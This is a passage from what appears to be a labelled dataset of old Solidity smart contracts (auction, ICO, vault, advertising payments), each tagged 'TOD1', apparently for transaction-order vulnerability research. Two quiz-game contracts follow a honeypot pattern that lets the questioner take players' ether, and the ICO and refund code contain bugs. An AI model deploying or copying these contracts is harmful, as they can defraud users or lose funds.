auctions have a duration of // at least one minute. (Keeps our math from getting hairy!) require(_auction.duration >= 1 minutes); cutieIdToAuction[_cutieId] = _auction; emit AuctionCreated( _cutieId, _auction.startPrice, _auction.endPrice, _auction.duration, _auction.featuringFee ); } // @dev Returns true if the token is claimed by the claimant. // @param _claimant - Address claiming to own the token. function _isOwner(address _claimant, uint256 _cutieId) internal view returns (bool) { return (coreContract.ownerOf(_cutieId) == _claimant); } // @dev Transfers the token owned by this contract to another address. // Returns true when the transfer succeeds. // @param _receiver - Address to transfer token to. // @param _cutieId - Token ID to transfer. function _transfer(address _receiver, uint40 _cutieId) internal { // it will throw if transfer fails coreContract.transfer(_receiver, _cutieId); } // @dev Escrows the token and assigns ownership to this contract. // Throws if the escrow fails. // @param _owner - Current owner address of token to escrow. // @param _cutieId - Token ID the approval of which is to be verified. function _escrow(address _owner, uint40 _cutieId) internal { // it will throw if transfer fails coreContract.transferFrom(_owner, this, _cutieId); } // @dev just cancel auction. function _cancelActiveAuction(uint40 _cutieId, address _seller) internal { _removeAuction(_cutieId); _transfer(_seller, _cutieId); emit AuctionCancelled(_cutieId); } // @dev Calculates the price and transfers winnings. // Does not transfer token ownership. function _bid(uint40 _cutieId, uint128 _bidAmount) internal returns (uint128) { // Get a reference to the auction struct Auction storage auction = cutieIdToAuction[_cutieId]; require(_isOnAuction(auction)); // Check that bid > current price uint128 price = _currentPrice(auction); require(_bidAmount >= price); // Provide a reference to the seller before the auction struct is deleted. address seller = auction.seller; _removeAuction(_cutieId); // Transfer proceeds to seller (if there are any!) if (price > 0) { uint128 fee = _computeFee(price); uint128 sellerValue = price - fee; seller.transfer(sellerValue); } emit AuctionSuccessful(_cutieId, price, msg.sender); return price; } // @dev Removes from the list of open auctions. // @param _cutieId - ID of token on auction. function _removeAuction(uint40 _cutieId) internal { delete cutieIdToAuction[_cutieId]; } // @dev Returns true if the token is on auction. // @param _auction - Auction to check. function _isOnAuction(Auction storage _auction) internal view returns (bool) { return (_auction.startedAt > 0); } // @dev calculate current price of auction. // When testing, make this function public and turn on // `Current price calculation` test suite. function _computeCurrentPrice( uint128 _startPrice, uint128 _endPrice, uint40 _duration, uint40 _secondsPassed ) internal pure returns (uint128) { if (_secondsPassed >= _duration) { return _endPrice; } else { int256 totalPriceChange = int256(_endPrice) - int256(_startPrice); int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration); uint128 currentPrice = _startPrice + uint128(currentPriceChange); return currentPrice; } } // @dev return current price of token. function _currentPrice(Auction storage _auction) internal view returns (uint128) { uint40 secondsPassed = 0; uint40 timeNow = uint40(now); if (timeNow > _auction.startedAt) { secondsPassed = timeNow - _auction.startedAt; } return _computeCurrentPrice( _auction.startPrice, _auction.endPrice, _auction.duration, secondsPassed ); } // @dev Calculates owner's cut of a sale. // @param _price - Sale price of cutie. function _computeFee(uint128 _price) internal view returns (uint128) { return _price * ownerFee / 10000; } // @dev Remove all Ether from the contract with the owner's cuts. Also, remove any Ether sent directly to the contract address. // Transfers to the token contract, but can be called by // the owner or the token contract. function withdrawEthFromBalance() external { address coreAddress = address(coreContract); require( msg.sender == owner || msg.sender == coreAddress ); coreAddress.transfer(address(this).balance); } // @dev create and begin new auction. function createAuction(uint40 _cutieId, uint128 _startPrice, uint128 _endPrice, uint40 _duration, address _seller) public whenNotPaused payable { require(_isOwner(msg.sender, _cutieId)); _escrow(msg.sender, _cutieId); Auction memory auction = Auction( _startPrice, _endPrice, _seller, _duration, uint40(now), uint128(msg.value) ); _addAuction(_cutieId, auction); } // @dev Set the reference to cutie ownership contract. Verify the owner's fee. // @param fee should be between 0-10,000. function setup(address _coreContractAddress, uint16 _fee) public { require(coreContract == address(0)); require(_fee <= 10000); require(msg.sender == owner); ownerFee = _fee; CutieCoreInterface candidateContract = CutieCoreInterface(_coreContractAddress); require(candidateContract.isCutieCore()); coreContract = candidateContract; } // @dev Set the owner's fee. // @param fee should be between 0-10,000. function setFee(uint16 _fee) public { require(_fee <= 10000); require(msg.sender == owner); ownerFee = _fee; } // @dev bid on auction. Complete it and transfer ownership of cutie if enough ether was given. function bid(uint40 _cutieId) public payable whenNotPaused canBeStoredIn128Bits(msg.value) { // _bid throws if something failed. _bid(_cutieId, uint128(msg.value)); _transfer(msg.sender, _cutieId); } // @dev Returns auction info for a token on auction. // @param _cutieId - ID of token on auction. function getAuctionInfo(uint40 _cutieId) public view returns ( address seller, uint128 startPrice, uint128 endPrice, uint40 duration, uint40 startedAt, uint128 featuringFee ) { Auction storage auction = cutieIdToAuction[_cutieId]; require(_isOnAuction(auction)); return ( auction.seller, auction.startPrice, auction.endPrice, auction.duration, auction.startedAt, auction.featuringFee ); } // @dev Returns the current price of an auction. function getCurrentPrice(uint40 _cutieId) public view returns (uint128) { Auction storage auction = cutieIdToAuction[_cutieId]; require(_isOnAuction(auction)); return _currentPrice(auction); } // @dev Cancels unfinished auction and returns token to owner. // Can be called when contract is paused. function cancelActiveAuction(uint40 _cutieId) public { Auction storage auction = cutieIdToAuction[_cutieId]; require(_isOnAuction(auction)); address seller = auction.seller; require(msg.sender == seller); _cancelActiveAuction(_cutieId, seller); } // @dev Cancels auction when contract is on pause. Option is available only to owners in urgent situations. Tokens returned to seller. // Used on Core contract upgrade. function cancelActiveAuctionWhenPaused(uint40 _cutieId) whenPaused onlyOwner public { Auction storage auction = cutieIdToAuction[_cutieId]; require(_isOnAuction(auction)); _cancelActiveAuction(_cutieId, auction.seller); } } /// @title Auction market for breeding /// @author https://BlockChainArchitect.io contract BreedingMarket is Market { bool public isBreedingMarket = true; // @dev Launches and starts a new auction. function createAuction( uint40 _cutieId, uint128 _startPrice, uint128 _endPrice, uint40 _duration, address _seller) public payable { require(msg.sender == address(coreContract)); _escrow(_seller, _cutieId); Auction memory auction = Auction( _startPrice, _endPrice, _seller, _duration, uint40(now), uint128(msg.value) ); _addAuction(_cutieId, auction); } /// @dev Places a bid for breeding. Requires the sender /// is the BlockchainCutiesCore contract because all bid methods /// should be wrapped. Also returns the cutie to the /// seller rather than the winner. function bid(uint40 _cutieId) public payable canBeStoredIn128Bits(msg.value) { require(msg.sender == address(coreContract)); address seller = cutieIdToAuction[_cutieId].seller; // _bid. is token ID valid? _bid(_cutieId, uint128(msg.value)); // We transfer the cutie back to the seller, the winner will get // the offspring _transfer(seller, _cutieId); } }
TOD1
pragma solidity ^0.4.16; /** * @title SafeMath by OpenZeppelin * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract ICO { using SafeMath for uint256; //This ico have 3 stages enum State { Ongoin, SoftCap, Successful } //public variables State public state = State.Ongoin; //Set initial stage uint256 public startTime = now; //block-time when it was deployed uint256 public delay; //List of prices, as both, eth and token have 18 decimal, its a direct factor uint[2] public tablePrices = [ 2500, //for first 10million tokens 2000 ]; uint256 public SoftCap = 40000000 * (10 ** 18); //40 million tokens uint256 public HardCap = 80000000 * (10 ** 18); //80 million tokens uint256 public totalRaised; //eth in wei uint256 public totalDistributed; //tokens uint256 public ICOdeadline = startTime.add(21 days);//21 days deadline uint256 public completedAt; uint256 public closedAt; token public tokenReward; address public creator; address public beneficiary; string public campaignUrl; uint8 constant version = 1; //events for log event LogFundingReceived(address _addr, uint _amount, uint _currentTotal); event LogBeneficiaryPaid(address _beneficiaryAddress); event LogFundingSuccessful(uint _totalRaised); event LogFunderInitialized( address _creator, address _beneficiary, string _url, uint256 _ICOdeadline); event LogContributorsPayout(address _addr, uint _amount); modifier notFinished() { require(state != State.Successful); _; } /** * @notice ICO constructor * @param _campaignUrl is the ICO _url * @param _addressOfTokenUsedAsReward is the token totalDistributed */ function ICO (string _campaignUrl, token _addressOfTokenUsedAsReward, uint256 _delay) public { creator = msg.sender; beneficiary = msg.sender; campaignUrl = _campaignUrl; tokenReward = token(_addressOfTokenUsedAsReward); delay = startTime.add(_delay * 1 hours); LogFunderInitialized( creator, beneficiary, campaignUrl, ICOdeadline); } /** * @notice contribution handler */ function contribute() public notFinished payable { require(now > delay); uint tokenBought; totalRaised = totalRaised.add(msg.value); if(totalDistributed < 10000000 * (10 ** 18)){ //if on the first 10M tokenBought = msg.value.mul(tablePrices[0]); } else { tokenBought = msg.value.mul(tablePrices[1]); } totalDistributed = totalDistributed.add(tokenBought); tokenReward.transfer(msg.sender, tokenBought); LogFundingReceived(msg.sender, msg.value, totalRaised); LogContributorsPayout(msg.sender, tokenBought); checkIfFundingCompleteOrExpired(); } /** * @notice check status */ function checkIfFundingCompleteOrExpired() public { if(now < ICOdeadline && state!=State.Successful){ //if we are on ICO period and its not Successful if(state == State.Ongoin && totalRaised >= SoftCap){ //if we are Ongoin and we pass the SoftCap state = State.SoftCap; //We are on SoftCap state completedAt = now; //ICO is complete and will finish in 24h } else if (state == State.SoftCap && now > completedAt.add(24 hours)){ //if we are on SoftCap state and 24hrs have passed state == State.Successful; //the ico becomes Successful closedAt = now; //we finish now LogFundingSuccessful(totalRaised); //we log the finish finished(); //and execute closure } } else if(now > ICOdeadline && state!=State.Successful ) { //if we reach ico deadline and its not Successful yet state = State.Successful; //ico becomes Successful if(completedAt == 0){ //if not completed previously completedAt = now; //we complete now } closedAt = now; //we finish now LogFundingSuccessful(totalRaised); //we log the finish finished(); //and execute closure } } function payOut() public { require(msg.sender == beneficiary); require(beneficiary.send(this.balance)); LogBeneficiaryPaid(beneficiary); } /** * @notice closure handler */ function finished() public { //When finished eth are transfered to beneficiary require(state == State.Successful); uint256 remanent = tokenReward.balanceOf(this); require(beneficiary.send(this.balance)); tokenReward.transfer(beneficiary,remanent); LogBeneficiaryPaid(beneficiary); LogContributorsPayout(beneficiary, remanent); } function () public payable { contribute(); } }
TOD1
pragma solidity 0.4.24; contract Ownable { address public owner; constructor() public { owner = msg.sender; } function setOwner(address _owner) public onlyOwner { owner = _owner; } modifier onlyOwner { require(msg.sender == owner); _; } } contract Vault is Ownable { function () public payable { } function getBalance() public view returns (uint) { return address(this).balance; } function withdraw(uint amount) public onlyOwner { require(address(this).balance >= amount); owner.transfer(amount); } function withdrawAll() public onlyOwner { withdraw(address(this).balance); } }
TOD1
pragma solidity ^0.4.23; /** * @title Ownable * * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; // A hashmap to help keep track of list of all owners mapping(address => uint) public allOwnersMap; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () public { owner = msg.sender; allOwnersMap[msg.sender] = 1; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner, "You're not the owner!"); _; } /** * @dev Throws if called by any account other than the all owners in the history of * the smart contract. */ modifier onlyAnyOwners() { require(allOwnersMap[msg.sender] == 1, "You're not the owner or never were the owner!"); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; // Keep track of list of owners allOwnersMap[newOwner] = 1; } // transfer ownership event event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); } /** * @title Suicidable * * @dev Suicidable is special contract with functions to suicide. This is a security measure added in * incase Bitwords gets hacked. */ contract Suicidable is Ownable { bool public hasSuicided = false; /** * @dev Throws if called the contract has not yet suicided */ modifier hasNotSuicided() { require(hasSuicided == false, "Contract has suicided!"); _; } /** * @dev Suicides the entire smart contract */ function suicideContract() public onlyAnyOwners { hasSuicided = true; emit SuicideContract(msg.sender); } // suicide contract event event SuicideContract(address indexed owner); } /** * @title Migratable * * @dev Migratable is special contract which allows the funds of a smart-contact to be migrated * to a new smart contract. */ contract Migratable is Suicidable { bool public hasRequestedForMigration = false; uint public requestedForMigrationAt = 0; address public migrationDestination; function() public payable { } /** * @dev Allows for a migration request to be created, all migrations requests * are timelocked by 7 days. * * @param destination The destination to send the ether to. */ function requestForMigration(address destination) public onlyOwner { hasRequestedForMigration = true; requestedForMigrationAt = now; migrationDestination = destination; emit MigrateFundsRequested(msg.sender, destination); } /** * @dev Cancels a migration */ function cancelMigration() public onlyOwner hasNotSuicided { hasRequestedForMigration = false; requestedForMigrationAt = 0; emit MigrateFundsCancelled(msg.sender); } /** * @dev Approves a migration and suicides the entire smart contract */ function approveMigration(uint gasCostInGwei) public onlyOwner hasNotSuicided { require(hasRequestedForMigration, "please make a migration request"); require(requestedForMigrationAt + 604800 < now, "migration is timelocked for 7 days"); require(gasCostInGwei > 0, "gas cost must be more than 0"); require(gasCostInGwei < 20, "gas cost can't be more than 20"); // Figure out how much ether to send uint gasLimit = 21000; uint gasPrice = gasCostInGwei * 1000000000; uint gasCost = gasLimit * gasPrice; uint etherToSend = address(this).balance - gasCost; require(etherToSend > 0, "not enough balance in smart contract"); // Send the funds to the new smart contract emit MigrateFundsApproved(msg.sender, etherToSend); migrationDestination.transfer(etherToSend); // suicide the contract so that no more funds/actions can take place suicideContract(); } // events event MigrateFundsCancelled(address indexed by); event MigrateFundsRequested(address indexed by, address indexed newSmartContract); event MigrateFundsApproved(address indexed by, uint amount); } /** * @title Bitwords * * @dev The Bitwords smart contract that allows advertisers and publishers to * safetly deposit/receive ether and interact with the Bitwords platform. * * TODO: * - timelock all chargeAdvertiser requests * - if suicide is called, then all timelocked requests need to be stopped and then later reversed */ contract Bitwords is Migratable { mapping(address => uint) public advertiserBalances; // This mapping overrides the default bitwords cut for a specific publisher. mapping(address => uint) public bitwordsCutOverride; // The bitwords address, where all the 30% cut is received ETH address public bitwordsWithdrawlAddress; // How much cut out of 100 Bitwords takes. By default 10% uint public bitwordsCutOutof100 = 10; // To store the advertiserChargeRequests // TODO: this needs to be used for the timelock struct advertiserChargeRequest { address advertiser; address publisher; uint amount; uint requestedAt; uint processAfter; } // How much days should each refund request be timelocked for uint public refundRequestTimelock = 7 days; // To store refund request struct refundRequest { address advertiser; uint amount; uint requestedAt; uint processAfter; } // An array of all the refund requests submitted by advertisers. refundRequest[] public refundQueue; // variables that help track where in the refund loop we are in. mapping(address => uint) private advertiserRefundRequestsIndex; uint private lastProccessedIndex = 0; /** * @dev The Bitwords constructor sets the address where all the withdrawals will * happen. */ constructor () public { bitwordsWithdrawlAddress = msg.sender; } /** * Anybody who deposits ether to the smart contract will be considered as an * advertiser and will get that much ether debitted into his account. */ function() public payable { advertiserBalances[msg.sender] += msg.value; emit Deposit(msg.sender, msg.value, advertiserBalances[msg.sender]); } /** * Used by the owner to set the withdrawal address for Bitwords. This address * is where Bitwords will receive all the cut from the advertisements. * * @param newAddress the new withdrawal address */ function setBitwordsWithdrawlAddress (address newAddress) hasNotSuicided onlyOwner public { bitwordsWithdrawlAddress = newAddress; emit BitwordsWithdrawlAddressChanged(msg.sender, newAddress); } /** * Change the cut that Bitwords takes. * * @param cut the amount of cut that Bitwords takes. */ function setBitwordsCut (uint cut) hasNotSuicided onlyOwner public { require(cut <= 30, "cut cannot be more than 30%"); require(cut >= 0, "cut should be greater than 0%"); bitwordsCutOutof100 = cut; emit BitwordsCutChanged(msg.sender, cut); } /** * Set the new timelock for refund reuqests * * @param newTimelock the new timelock */ function setRefundTimelock (uint newTimelock) hasNotSuicided onlyOwner public { require(newTimelock >= 0, "timelock has to be greater than 0"); refundRequestTimelock = newTimelock; emit TimelockChanged(msg.sender, newTimelock); } /** * Process all the refund requests in the queue. This is called by the Bitwords * server ideally right after chargeAdvertisers has been called. * * This function will only process refunds that have passed it's timelock and * it will only refund maximum to how much the advertiser currently has in * his balance. */ bool private inProcessRefunds = false; function processRefunds () onlyAnyOwners public { // prevent reentry bug require(!inProcessRefunds, "prevent reentry bug"); inProcessRefunds = true; for (uint j = lastProccessedIndex; j < refundQueue.length; j++) { // If we haven't passed the timelock for this refund request, then // we stop the loop. Reaching here means that all the requests // in next iterations have also not reached their timelocks. if (refundQueue[j].processAfter > now) break; // Find the minimum that needs to be withdrawn. This is important // because since every call to chargeAdvertisers might update the // advertiser's balance, it is possible that the amount that the // advertiser requests for is small. uint cappedAmount = refundQueue[j].amount; if (advertiserBalances[refundQueue[j].advertiser] < cappedAmount) cappedAmount = advertiserBalances[refundQueue[j].advertiser]; // This refund is now invalid, skip it if (cappedAmount <= 0) { lastProccessedIndex++; continue; } // deduct advertiser's balance and send the ether advertiserBalances[refundQueue[j].advertiser] -= cappedAmount; refundQueue[j].advertiser.transfer(cappedAmount); refundQueue[j].amount = 0; // Emit events emit RefundAdvertiserProcessed(refundQueue[j].advertiser, cappedAmount, advertiserBalances[refundQueue[j].advertiser]); // Increment the last proccessed index, effectively marking this // refund request as completed. lastProccessedIndex++; } inProcessRefunds = false; } /** * Anybody can credit ether on behalf of an advertiser * * @param advertiser The advertiser to credit ether to */ function creditAdvertiser (address advertiser) hasNotSuicided public payable { advertiserBalances[advertiser] += msg.value; emit Deposit(advertiser, msg.value, advertiserBalances[msg.sender]); } /** * Anybody can credit ether on behalf of an advertiser * * @param publisher The address of the publisher * @param cut How much cut should be taken from this publisher */ function setPublisherCut (address publisher, uint cut) hasNotSuicided onlyOwner public { require(cut <= 30, "cut cannot be more than 30%"); require(cut >= 0, "cut should be greater than 0%"); bitwordsCutOverride[publisher] = cut; emit SetPublisherCut(publisher, cut); } /** * Charge the advertiser with whatever clicks have been served by the ad engine. * * @param advertisers Array of address of the advertiser from whom we should debit ether * @param costs Array of the cost to be paid to publisher by advertisers * @param publishers Array of address of the publisher from whom we should credit ether * @param publishersToCredit Array of indices of publishers that need to be credited than debited. */ bool private inChargeAdvertisers = false; function chargeAdvertisers (address[] advertisers, uint[] costs, address[] publishers, uint[] publishersToCredit) hasNotSuicided onlyOwner public { // Prevent re-entry bug require(!inChargeAdvertisers, "avoid rentry bug"); inChargeAdvertisers = true; uint creditArrayIndex = 0; for (uint i = 0; i < advertisers.length; i++) { uint toWithdraw = costs[i]; // First check if all advertisers have enough balance and cap it if needed if (advertiserBalances[advertisers[i]] <= 0) { emit InsufficientBalance(advertisers[i], advertiserBalances[advertisers[i]], costs[i]); continue; } if (advertiserBalances[advertisers[i]] < toWithdraw) toWithdraw = advertiserBalances[advertisers[i]]; // Update the advertiser's balance advertiserBalances[advertisers[i]] -= toWithdraw; emit DeductFromAdvertiser(advertisers[i], toWithdraw, advertiserBalances[advertisers[i]]); // Calculate how much cut Bitwords should take uint bitwordsCut = bitwordsCutOutof100; if (bitwordsCutOverride[publishers[i]] > 0 && bitwordsCutOverride[publishers[i]] <= 30) { bitwordsCut = bitwordsCutOverride[publishers[i]]; } // Figure out how much should go to Bitwords and to the publishers. uint publisherNetCut = toWithdraw * (100 - bitwordsCut) / 100; uint bitwordsNetCut = toWithdraw - publisherNetCut; // Send the ether to the publisher and to Bitwords // Either decide to credit the ether as an advertiser if (publishersToCredit.length > creditArrayIndex && publishersToCredit[creditArrayIndex] == i) { creditArrayIndex++; advertiserBalances[publishers[i]] += publisherNetCut; emit CreditPublisher(publishers[i], publisherNetCut, advertisers[i], advertiserBalances[publishers[i]]); } else { // or send it to the publisher. publishers[i].transfer(publisherNetCut); emit PayoutToPublisher(publishers[i], publisherNetCut, advertisers[i]); } // send bitwords it's cut bitwordsWithdrawlAddress.transfer(bitwordsNetCut); emit PayoutToBitwords(bitwordsWithdrawlAddress, bitwordsNetCut, advertisers[i]); } inChargeAdvertisers = false; } /** * Called by Bitwords to manually refund an advertiser. * * @param advertiser The advertiser address to be refunded * @param amount The amount the advertiser would like to withdraw */ bool private inRefundAdvertiser = false; function refundAdvertiser (address advertiser, uint amount) onlyAnyOwners public { // Ensure that the advertiser has enough balance to refund the smart // contract require(amount > 0, "Amount should be greater than 0"); require(advertiserBalances[advertiser] > 0, "Advertiser has no balance"); require(advertiserBalances[advertiser] >= amount, "Insufficient balance to refund"); // Prevent re-entry bug require(!inRefundAdvertiser, "avoid rentry bug"); inRefundAdvertiser = true; // deduct balance and send the ether advertiserBalances[advertiser] -= amount; advertiser.transfer(amount); // Emit events emit RefundAdvertiserProcessed(advertiser, amount, advertiserBalances[advertiser]); inRefundAdvertiser = false; } /** * Called by Bitwords to invalidate a refund sent by an advertiser. */ function invalidateAdvertiserRefund (uint refundIndex) hasNotSuicided onlyOwner public { require(refundIndex >= 0, "index should be greater than 0"); require(refundQueue.length >= refundIndex, "index is out of bounds"); refundQueue[refundIndex].amount = 0; emit RefundAdvertiserCancelled(refundQueue[refundIndex].advertiser); } /** * Called by an advertiser when he/she would like to make a refund request. * * @param amount The amount the advertiser would like to withdraw */ function requestForRefund (uint amount) public { // Make sure that advertisers are requesting a refund for how much ever // ether they have. require(amount > 0, "Amount should be greater than 0"); require(advertiserBalances[msg.sender] > 0, "You have no balance"); require(advertiserBalances[msg.sender] >= amount, "Insufficient balance to refund"); // push the refund request in a refundQueue so that it can be processed // later. refundQueue.push(refundRequest(msg.sender, amount, now, now + refundRequestTimelock)); // Add the index into a hashmap for later use advertiserRefundRequestsIndex[msg.sender] = refundQueue.length - 1; // Emit events emit RefundAdvertiserRequested(msg.sender, amount, refundQueue.length - 1); } /** * Called by an advertiser when he/she wants to manually process a refund * that he/she has requested for earlier. * * This function will first find a refund request, check if it's valid (as * in, has it passed it's timelock?, is there enough balance? etc.) and * then process it, updating the advertiser's balance along the way. */ mapping(address => bool) private inProcessMyRefund; function processMyRefund () public { // Check if a refund request even exists for this advertiser? require(advertiserRefundRequestsIndex[msg.sender] >= 0, "no refund request found"); // Get the refund request details uint refundRequestIndex = advertiserRefundRequestsIndex[msg.sender]; // Check if the refund has been proccessed require(refundQueue[refundRequestIndex].amount > 0, "refund already proccessed"); // Check if the advertiser has enough balance to request for this refund? require( advertiserBalances[msg.sender] >= refundQueue[refundRequestIndex].amount, "advertiser balance is low; refund amount is invalid." ); // Check the timelock require( now > refundQueue[refundRequestIndex].processAfter, "timelock for this request has not passed" ); // Prevent reentry bug require(!inProcessMyRefund[msg.sender], "prevent re-entry bug"); inProcessMyRefund[msg.sender] = true; // Send the amount uint amount = refundQueue[refundRequestIndex].amount; msg.sender.transfer(amount); // update the new balance and void this request. refundQueue[refundRequestIndex].amount = 0; advertiserBalances[msg.sender] -= amount; // reset the reentry flag inProcessMyRefund[msg.sender] = false; // Emit events emit SelfRefundAdvertiser(msg.sender, amount, advertiserBalances[msg.sender]); emit RefundAdvertiserProcessed(msg.sender, amount, advertiserBalances[msg.sender]); } /** Events */ event BitwordsCutChanged(address indexed _to, uint _value); event BitwordsWithdrawlAddressChanged(address indexed _to, address indexed _from); event CreditPublisher(address indexed _to, uint _value, address indexed _from, uint _newBalance); event DeductFromAdvertiser(address indexed _to, uint _value, uint _newBalance); event Deposit(address indexed _to, uint _value, uint _newBalance); event InsufficientBalance(address indexed _to, uint _balance, uint _valueToDeduct); event PayoutToBitwords(address indexed _to, uint _value, address indexed _from); event PayoutToPublisher(address indexed _to, uint _value, address indexed _from); event RefundAdvertiserCancelled(address indexed _to); event RefundAdvertiserProcessed(address indexed _to, uint _value, uint _newBalance); event RefundAdvertiserRequested(address indexed _to, uint _value, uint requestIndex); event SelfRefundAdvertiser(address indexed _to, uint _value, uint _newBalance); event SetPublisherCut(address indexed _to, uint _value); event TimelockChanged(address indexed _to, uint _value); }
TOD1
pragma solidity ^0.4.20; contract QUIZ_GAME { function Try(string _response) external payable { require(msg.sender == tx.origin); if(responseHash == keccak256(_response) && msg.value>3 ether) { msg.sender.transfer(this.balance); } } string public question; address questionSender; bytes32 responseHash; function set_game(string _question,string _response) public payable { if(responseHash==0x0) { responseHash = keccak256(_response); question = _question; questionSender = msg.sender; } } function StopGame() public payable { require(msg.sender==questionSender); msg.sender.transfer(this.balance); } function NewQuestion(string _question, bytes32 _responseHash) public payable { if(msg.sender==questionSender){ question = _question; responseHash = _responseHash; } } function newQuestioner(address newAddress) public { if(msg.sender==questionSender)questionSender = newAddress; } function() public payable{} }
TOD1
pragma solidity ^0.4.25; contract QGAME { function Try(string _response) external payable { require(msg.sender == tx.origin); if(responseHash == keccak256(_response) && msg.value > 2 ether) { msg.sender.transfer(this.balance); } } string public question; address questionSender; bytes32 responseHash; bytes32 questionerPin = 0x5c18911b2f0401b04458b5166f91356c9a1235a8d50ee6000a30db9950b7aaf9; function Activate(bytes32 _questionerPin, string _question, string _response) public payable { if(keccak256(_questionerPin)==questionerPin) { responseHash = keccak256(_response); question = _question; questionSender = msg.sender; questionerPin = 0x0; } } function StopGame() public payable { require(msg.sender==questionSender); msg.sender.transfer(this.balance); } function NewQuestion(string _question, bytes32 _responseHash) public payable { if(msg.sender==questionSender){ question = _question; responseHash = _responseHash; } } function newQuestioner(address newAddress) public { if(msg.sender==questionSender)questionSender = newAddress; } function() public payable{} }
TOD1
pragma solidity ^0.4.24; // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin-solidity/contracts/lifecycle/Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } // File: zeppelin-solidity/contracts/lifecycle/Destructible.sol /** * @title Destructible * @dev Base contract that can be destroyed by owner. All funds in contract will be sent to the owner. */ contract Destructible is Ownable { function Destructible() payable { } /** * @dev Transfers the current balance to the owner and terminates the contract. */ function destroy() onlyOwner public { selfdestruct(owner); } function destroyAndSend(address _recipient) onlyOwner public { selfdestruct(_recipient); } } // File: zeppelin-solidity/contracts/ownership/Contactable.sol /** * @title Contactable token * @dev Basic version of a contactable contract, allowing the owner to provide a string with their * contact information. */ contract Contactable is Ownable{ string public contactInformation; /** * @dev Allows the owner to set a string with their contact information. * @param info The contact information to attach to the contract. */ function setContactInformation(string info) onlyOwner public { contactInformation = info; } } // File: contracts/Restricted.sol /** @title Restricted * Exposes onlyMonetha modifier */ contract Restricted is Ownable { //MonethaAddress set event event MonethaAddressSet( address _address, bool _isMonethaAddress ); mapping (address => bool) public isMonethaAddress; /** * Restrict methods in such way, that they can be invoked only by monethaAddress account. */ modifier onlyMonetha() { require(isMonethaAddress[msg.sender]); _; } /** * Allows owner to set new monetha address */ function setMonethaAddress(address _address, bool _isMonethaAddress) onlyOwner public { isMonethaAddress[_address] = _isMonethaAddress; MonethaAddressSet(_address, _isMonethaAddress); } } // File: contracts/ERC20.sol /** * @title ERC20 interface */ contract ERC20 { function totalSupply() public view returns (uint256); function decimals() public view returns(uint256); function balanceOf(address _who) public view returns (uint256); function allowance(address _owner, address _spender) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: contracts/MonethaGateway.sol /** * @title MonethaGateway * * MonethaGateway forward funds from order payment to merchant's wallet and collects Monetha fee. */ contract MonethaGateway is Pausable, Contactable, Destructible, Restricted { using SafeMath for uint256; string constant VERSION = "0.5"; /** * Fee permille of Monetha fee. * 1 permille (‰) = 0.1 percent (%) * 15‰ = 1.5% */ uint public constant FEE_PERMILLE = 15; /** * Address of Monetha Vault for fee collection */ address public monethaVault; /** * Account for permissions managing */ address public admin; event PaymentProcessedEther(address merchantWallet, uint merchantIncome, uint monethaIncome); event PaymentProcessedToken(address tokenAddress, address merchantWallet, uint merchantIncome, uint monethaIncome); /** * @param _monethaVault Address of Monetha Vault */ constructor(address _monethaVault, address _admin) public { require(_monethaVault != 0x0); monethaVault = _monethaVault; setAdmin(_admin); } /** * acceptPayment accept payment from PaymentAcceptor, forwards it to merchant's wallet * and collects Monetha fee. * @param _merchantWallet address of merchant's wallet for fund transfer * @param _monethaFee is a fee collected by Monetha */ function acceptPayment(address _merchantWallet, uint _monethaFee) external payable onlyMonetha whenNotPaused { require(_merchantWallet != 0x0); require(_monethaFee >= 0 && _monethaFee <= 